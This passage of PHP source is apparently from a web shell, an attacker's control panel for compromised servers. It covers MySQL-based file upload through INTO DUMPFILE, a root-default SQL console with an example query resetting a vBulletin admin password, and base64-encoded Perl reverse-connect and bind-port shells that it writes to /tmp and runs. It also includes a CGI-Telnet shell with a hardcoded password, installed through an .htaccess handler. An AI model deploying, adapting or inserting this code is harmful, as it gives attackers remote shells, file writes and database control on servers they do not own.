  679.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
  680.                         p('</td></tr>');
  681.                         $file_i++;
  682.                 }
  683.         }
  684.         p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
  685.         p('</form></table>');
  686. }// end dir
  687.  
  688. elseif ($action == 'sqlfile') {
  689.         if($doing=="mysqlupload"){
  690.                 $file = $_FILES['uploadfile'];
  691.                 $filename = $file['tmp_name'];
  692.                 if (file_exists($savepath)) {
  693.                         m('The goal file has already existed');
  694.                 } else {
  695.                         if(!$filename) {
  696.                                 m('Please choose a file');
  697.                         } else {
  698.                                 $fp=@fopen($filename,'r');
  699.                                 $contents=@fread($fp, filesize($filename));
  700.                                 @fclose($fp);
  701.                                 $contents = bin2hex($contents);
  702.                                 if(!$upname) $upname = $file['name'];
  703.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  704.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
  705.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
  706.                         }
  707.                 }
  708.         }
  709. ?>
  710. <script type="text/javascript">
  711. function mysqlfile(doing){
  712.         if(!doing) return;
  713.         $('doing').value=doing;
  714.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
  715.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
  716.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
  717.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
  718.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
  719.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
  720.         $('mysqlfile').submit();
  721. }
  722. </script>
  723. <?php
  724.         !$dbhost && $dbhost = 'localhost';
  725.         !$dbuser && $dbuser = 'root';
  726.         !$dbport && $dbport = '3306';
  727.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  728.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
  729.         makehide('action','sqlfile');
  730.         p('<p>');
  731.         p('DBHost:');
  732.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  733.         p(':');
  734.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  735.         p('DBUser:');
  736.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  737.         p('DBPass:');
  738.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  739.         p('DBName:');
  740.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
  741.         p('DBCharset:');
  742.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  743.         p('</p>');
  744.         formfoot();
  745.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
  746.         p('<h2>Upload file</h2>');
  747.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
  748.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
  749.         p('<h2>Download file</h2>');
  750.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
  751.         makehide('dbhost');
  752.         makehide('dbport');
  753.         makehide('dbuser');
  754.         makehide('dbpass');
  755.         makehide('dbname');
  756.         makehide('charset');
  757.         makehide('doing');
  758.         makehide('action','sqlfile');
  759.         p('</form>');
  760. }
  761.  
  762. elseif ($action == 'sqladmin') {
  763.         !$dbhost && $dbhost = 'localhost';
  764.         !$dbuser && $dbuser = 'root';
  765.         !$dbport && $dbport = '3306';
  766.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
  767.         if(isset($dbhost)){
  768.                 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
  769.         }
  770.         if(isset($dbuser)) {
  771.                 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
  772.         }
  773.         if(isset($dbpass)) {
  774.                 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
  775.         }
  776.         if(isset($dbport)) {
  777.                 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
  778.         }
  779.         if(isset($dbname)) {
  780.                 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
  781.         }
  782.         if(isset($charset)) {
  783.                 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
  784.         }
  785.  
  786.         if ($doing == 'backupmysql' && $saveasfile) {
  787.                 if (!$table) {
  788.                         m('Please choose the table');
  789.                 } else {
  790.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  791.                         $table = array_flip($table);
  792.                         $fp = @fopen($path,'w');
  793.                         if ($fp) {
  794.                                 $result = q('SHOW tables');
  795.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');
  796.                                 $mysqldata = '';
  797.                                 while ($currow = mysql_fetch_array($result)) {
  798.                                         if (isset($table[$currow[0]])) {
  799.                                                 sqldumptable($currow[0], $fp);
  800.                                         }
  801.                                 }
  802.                                 fclose($fp);
  803.                                 $fileurl = str_replace(SA_ROOT,'',$path);
  804.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
  805.                                 mysql_close();
  806.                         } else {
  807.                                 m('Backup failed');
  808.                         }
  809.                 }
  810.         }
  811.         if ($insert && $insertsql) {
  812.                 $keystr = $valstr = $tmp = '';
  813.                 foreach($insertsql as $key => $val) {
  814.                         if ($val) {
  815.                                 $keystr .= $tmp.$key;
  816.                                 $valstr .= $tmp."'".addslashes($val)."'";
  817.                                 $tmp = ',';
  818.                         }
  819.                 }
  820.                 if ($keystr && $valstr) {
  821.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  822.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
  823.                 }
  824.         }
  825.         if ($update && $insertsql && $base64) {
  826.                 $valstr = $tmp = '';
  827.                 foreach($insertsql as $key => $val) {
  828.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
  829.                         $tmp = ',';
  830.                 }
  831.                 if ($valstr) {
  832.                         $where = base64_decode($base64);
  833.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  834.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
  835.                 }
  836.         }
  837.         if ($doing == 'del' && $base64) {
  838.                 $where = base64_decode($base64);
  839.                 $delete_sql = "DELETE FROM $tablename WHERE $where";
  840.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  841.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
  842.         }
  843.  
  844.         if ($tablename && $doing == 'drop') {
  845.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  846.                 if (q("DROP TABLE $tablename")) {
  847.                         m('Drop table of success');
  848.                         $tablename = '';
  849.                 } else {
  850.                         m(mysql_error());
  851.                 }
  852.         }
  853.  
  854.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  855.  
  856.         formhead(array('title'=>'MYSQL Manager'));
  857.         makehide('action','sqladmin');
  858.         p('<p>');
  859.         p('DBHost:');
  860.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  861.         p(':');
  862.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  863.         p('DBUser:');
  864.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  865.         p('DBPass:');
  866.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  867.         p('DBCharset:');
  868.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  869.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
  870.         p('</p>');
  871.         formfoot();
  872. ?>
  873. <script type="text/javascript">
  874. function editrecord(action, base64, tablename){
  875.         if (action == 'del') {
  876.                 if (!confirm('Is or isn\'t deletion record?')) return;
  877.         }
  878.         $('recordlist').doing.value=action;
  879.         $('recordlist').base64.value=base64;
  880.         $('recordlist').tablename.value=tablename;
  881.         $('recordlist').submit();
  882. }
  883. function moddbname(dbname) {
  884.         if(!dbname) return;
  885.         $('setdbname').dbname.value=dbname;
  886.         $('setdbname').submit();
  887. }
  888. function settable(tablename,doing,page) {
  889.         if(!tablename) return;
  890.         if (doing) {
  891.                 $('settable').doing.value=doing;
  892.         }
  893.         if (page) {
  894.                 $('settable').page.value=page;
  895.         }
  896.         $('settable').tablename.value=tablename;
  897.         $('settable').submit();
  898. }
  899. </script>
  900. <?php
  901.         // SQL
  902.         formhead(array('name'=>'recordlist'));
  903.         makehide('doing');
  904.         makehide('action','sqladmin');
  905.         makehide('base64');
  906.         makehide('tablename');
  907.         p($dbform);
  908.         formfoot();
  909.  
  910.         // Data
  911.         formhead(array('name'=>'setdbname'));
  912.         makehide('action','sqladmin');
  913.         p($dbform);
  914.         if (!$dbname) {
  915.                 makehide('dbname');
  916.         }
  917.         formfoot();
  918.  
  919.  
  920.         formhead(array('name'=>'settable'));
  921.         makehide('action','sqladmin');
  922.         p($dbform);
  923.         makehide('tablename');
  924.         makehide('page',$page);
  925.         makehide('doing');
  926.         formfoot();
  927.  
  928.         $cachetables = array();
  929.         $pagenum = 30;
  930.         $page = intval($page);
  931.         if($page) {
  932.                 $start_limit = ($page - 1) * $pagenum;
  933.         } else {
  934.                 $start_limit = 0;
  935.                 $page = 1;
  936.         }
  937.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
  938.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  939.                 // get mysql server
  940.                 $mysqlver = mysql_get_server_info();
  941.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
  942.                 $highver = $mysqlver > '4.1' ? 1 : 0;
  943.  
  944.                 // Show database
  945.                 $query = q("SHOW DATABASES");
  946.                 $dbs = array();
  947.                 $dbs[] = '-- Select a database --';
  948.                 while($db = mysql_fetch_array($query)) {
  949.                         $dbs[$db['Database']] = $db['Database'];
  950.                 }
  951.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
  952.                 $tabledb = array();
  953.                 if ($dbname) {
  954.                         p('<p>');
  955.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
  956.                         if ($tablename) {
  957.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
  958.                         }
  959.                         p('</p>');
  960.                         mysql_select_db($dbname);
  961.  
  962.                         $getnumsql = '';
  963.                         $runquery = 0;
  964.                         if ($sql_query) {
  965.                                 $runquery = 1;
  966.                         }
  967.                         $allowedit = 0;
  968.                         if ($tablename && !$sql_query) {
  969.                                 $sql_query = "SELECT * FROM $tablename";
  970.                                 $getnumsql = $sql_query;
  971.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
  972.                                 $allowedit = 1;
  973.                         }
  974.                         p('<form action="'.$self.'" method="POST">');
  975.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
  976.                        </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
  977.                         makehide('tablename', $tablename);
  978.                         makehide('action','sqladmin');
  979.                         p($dbform);
  980.                         p('</form>');
  981.                         if ($tablename || ($runquery && $sql_query)) {
  982.                                 if ($doing == 'structure') {
  983.                                         $result = q("SHOW COLUMNS FROM $tablename");
  984.                                         $rowdb = array();
  985.                                         while($row = mysql_fetch_array($result)) {
  986.                                                 $rowdb[] = $row;
  987.                                         }
  988.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
  989.                                         p('<tr class="head">');
  990.                                         p('<td>Field</td>');
  991.                                         p('<td>Type</td>');
  992.                                         p('<td>Null</td>');
  993.                                         p('<td>Key</td>');
  994.                                         p('<td>Default</td>');
  995.                                         p('<td>Extra</td>');
  996.                                         p('</tr>');
  997.                                         foreach ($rowdb as $row) {
  998.                                                 $thisbg = bg();
  999.                                                 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1000.                                                 p('<td>'.$row['Field'].'</td>');
  1001.                                                 p('<td>'.$row['Type'].'</td>');
  1002.                                                 p('<td>'.$row['Null'].'&nbsp;</td>');
  1003.                                                 p('<td>'.$row['Key'].'&nbsp;</td>');
  1004.                                                 p('<td>'.$row['Default'].'&nbsp;</td>');
  1005.                                                 p('<td>'.$row['Extra'].'&nbsp;</td>');
  1006.                                                 p('</tr>');
  1007.                                         }
  1008.                                         tbfoot();
  1009.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
  1010.                                         $result = q('SHOW COLUMNS FROM '.$tablename);
  1011.                                         while ($row = mysql_fetch_array($result)) {
  1012.                                                 $rowdb[] = $row;
  1013.                                         }
  1014.                                         $rs = array();
  1015.                                         if ($doing == 'insert') {
  1016.                                                 p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
  1017.                                         } else {
  1018.                                                 p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
  1019.                                                 $where = base64_decode($base64);
  1020.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
  1021.                                                 $rs = mysql_fetch_array($result);
  1022.                                         }
  1023.                                         p('<form method="post" action="'.$self.'">');
  1024.                                         p($dbform);
  1025.                                         makehide('action','sqladmin');
  1026.                                         makehide('tablename',$tablename);
  1027.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
  1028.                                         foreach ($rowdb as $row) {
  1029.                                                 if ($rs[$row['Field']]) {
  1030.                                                         $value = htmlspecialchars($rs[$row['Field']]);
  1031.                                                 } else {
  1032.                                                         $value = '';
  1033.                                                 }
  1034.                                                 $thisbg = bg();
  1035.                                                 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1036.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
  1037.                                         }
  1038.                                         if ($doing == 'insert') {
  1039.                                                 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
  1040.                                         } else {
  1041.                                                 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
  1042.                                                 makehide('base64', $base64);
  1043.                                         }
  1044.                                         p('</table></form>');
  1045.                                 } else {
  1046.                                         $querys = @explode(';',$sql_query);
  1047.                                         foreach($querys as $num=>$query) {
  1048.                                                 if ($query) {
  1049.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
  1050.                                                         switch(qy($query))
  1051.                                                         {
  1052.                                                                 case 0:
  1053.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
  1054.                                                                         break;
  1055.                                                                 case 1:
  1056.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {
  1057.                                                                                 $allowedit = 1;
  1058.                                                                         }
  1059.                                                                         if ($getnumsql) {
  1060.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
  1061.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
  1062.                                                                         }
  1063.                                                                         if (!$tablename) {
  1064.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
  1065.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
  1066.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
  1067.                                                                                 $tablename = $matches[1][0];
  1068.                                                                         }
  1069.                                                                         $result = q($query);
  1070.                                                                         p($multipage);
  1071.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
  1072.                                                                         p('<tr class="head">');
  1073.                                                                         if ($allowedit) p('<td>Action</td>');
  1074.                                                                         $fieldnum = @mysql_num_fields($result);
  1075.                                                                         for($i=0;$i<$fieldnum;$i++){
  1076.                                                                                 $name = @mysql_field_name($result, $i);
  1077.                                                                                 $type = @mysql_field_type($result, $i);
  1078.                                                                                 $len = @mysql_field_len($result, $i);
  1079.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
  1080.                                                                         }
  1081.                                                                         p('</tr>');
  1082.                                                                         while($mn = @mysql_fetch_assoc($result)){
  1083.                                                                                 $thisbg = bg();
  1084.                                                                                 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1085.                                                                                 $where = $tmp = $b1 = '';
  1086.                                                                                 foreach($mn as $key=>$inside){
  1087.                                                                                         if ($inside) {
  1088.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
  1089.                                                                                                 $tmp = ' AND ';
  1090.                                                                                         }
  1091.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
  1092.                                                                                 }
  1093.                                                                                 $where = base64_encode($where);
  1094.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
  1095.                                                                                 p($b1);
  1096.                                                                                 p('</tr>');
  1097.                                                                                 unset($b1);
  1098.                                                                         }
  1099.                                                                         tbfoot();
  1100.                                                                         p($multipage);
  1101.                                                                         break;
  1102.                                                                 case 2:
  1103.                                                                         $ar = mysql_affected_rows();
  1104.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');
  1105.                                                                         break;
  1106.                                                         }
  1107.                                                 }
  1108.                                         }
  1109.                                 }
  1110.                         } else {
  1111.                                 $query = q("SHOW TABLE STATUS");
  1112.                                 $table_num = $table_rows = $data_size = 0;
  1113.                                 $tabledb = array();
  1114.                                 while($table = mysql_fetch_array($query)) {
  1115.                                         $data_size = $data_size + $table['Data_length'];
  1116.                                         $table_rows = $table_rows + $table['Rows'];
  1117.                                         $table['Data_length'] = sizecount($table['Data_length']);
  1118.                                         $table_num++;
  1119.                                         $tabledb[] = $table;
  1120.                                 }
  1121.                                 $data_size = sizecount($data_size);
  1122.                                 unset($table);
  1123.                                 p('<table border="0" cellpadding="0" cellspacing="0">');
  1124.                                 p('<form action="'.$self.'" method="POST">');
  1125.                                 makehide('action','sqladmin');
  1126.                                 p($dbform);
  1127.                                 p('<tr class="head">');
  1128.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
  1129.                                 p('<td>Name</td>');
  1130.                                 p('<td>Rows</td>');
  1131.                                 p('<td>Data_length</td>');
  1132.                                 p('<td>Create_time</td>');
  1133.                                 p('<td>Update_time</td>');
  1134.                                 if ($highver) {
  1135.                                         p('<td>Engine</td>');
  1136.                                         p('<td>Collation</td>');
  1137.                                 }
  1138.                                 p('</tr>');
  1139.                                 foreach ($tabledb as $key => $table) {
  1140.                                         $thisbg = bg();
  1141.                                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1142.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
  1143.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
  1144.                                         p('<td>'.$table['Rows'].'</td>');
  1145.                                         p('<td>'.$table['Data_length'].'</td>');
  1146.                                         p('<td>'.$table['Create_time'].'</td>');
  1147.                                         p('<td>'.$table['Update_time'].'</td>');
  1148.                                         if ($highver) {
  1149.                                                 p('<td>'.$table['Engine'].'</td>');
  1150.                                                 p('<td>'.$table['Collation'].'</td>');
  1151.                                         }
  1152.                                         p('</tr>');
  1153.                                 }
  1154.                                 p('<tr class=fout>');
  1155.                                 p('<td>&nbsp;</td>');
  1156.                                 p('<td>Total tables: '.$table_num.'</td>');
  1157.                                 p('<td>'.$table_rows.'</td>');
  1158.                                 p('<td>'.$data_size.'</td>');
  1159.                                 p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
  1160.                                 p('</tr>');
  1161.  
  1162.                                 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
  1163.                                 makehide('doing','backupmysql');
  1164.                                 formfoot();
  1165.                                 p("</table>");
  1166.                                 fr($query);
  1167.                         }
  1168.                 }
  1169.         }
  1170.         tbfoot();
  1171.         @mysql_close();
  1172. }//end sql backup
  1173.  
  1174.  
  1175. elseif ($action == 'backconnect') {
  1176.         $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1177.         $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1178.         echo "<h1>Back Connect</h1><div class=content>
  1179.        <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1180.        <span>Bind port to /bin/sh [perl]</span><br/>
  1181.        Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1182.        </form>
  1183.        <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1184.        <span>Back-connect  [perl]</span><br/>
  1185.        Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1186.        </form><br>";
  1187.         if(isset($_POST['p1'])) {
  1188.                 function cf($f,$t) {
  1189.                         $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1190.                         if($w){
  1191.                                 @fwrite($w,@base64_decode($t));
  1192.                                 @fclose($w);
  1193.                         }
  1194.                 }
  1195.                 if($_POST['p1'] == 'bpp') {
  1196.                         cf("/tmp/bp.pl",$bind_port_p);
  1197.                         $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1198.             sleep(1);
  1199.                         echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
  1200.             unlink("/tmp/bp.pl");
  1201.                 }
  1202.                 if($_POST['p1'] == 'bcp') {
  1203.                         cf("/tmp/bc.pl",$back_connect_p);
  1204.                         $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1205.             sleep(1);
  1206.                         echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
  1207.             unlink("/tmp/bc.pl");
  1208.                 }
  1209.         }
  1210.         echo '</div>';
  1211. }//end backconnect window via NC
  1212.  
  1213. elseif ($action == 'cgi2012') {
  1214. formhead(array('title'=>'CGI Telnet 2012'));
  1215.         makehide('action','cgi2012');
  1216.         mkdir('cgi2012', 0755);
  1217.     chdir('cgi2012');
  1218.         $kokdosya = ".htaccess";
  1219.         $dosya_adi = "$kokdosya";
  1220.         $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  1221.         $metin = "AddHandler cgi-script .izo";    
  1222.         fwrite ( $dosya , $metin ) ;
  1223.         fclose ($dosya);
  1224. $cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRW
  1225. ZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5
  1226. bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHgg
  1227. cmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZm
  1228. OyBmb250LXdlaWdodDpib2xkOyc+S2g0bGlmYXggLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFz
  1229. c3dvcmQgPSAia2g0bGlmYXgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50
  1230. ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsi
  1231. U0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJ
  1232. ZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQg
  1233. dG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5u
  1234. aW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91
  1235. J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVl
  1236. IGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQg
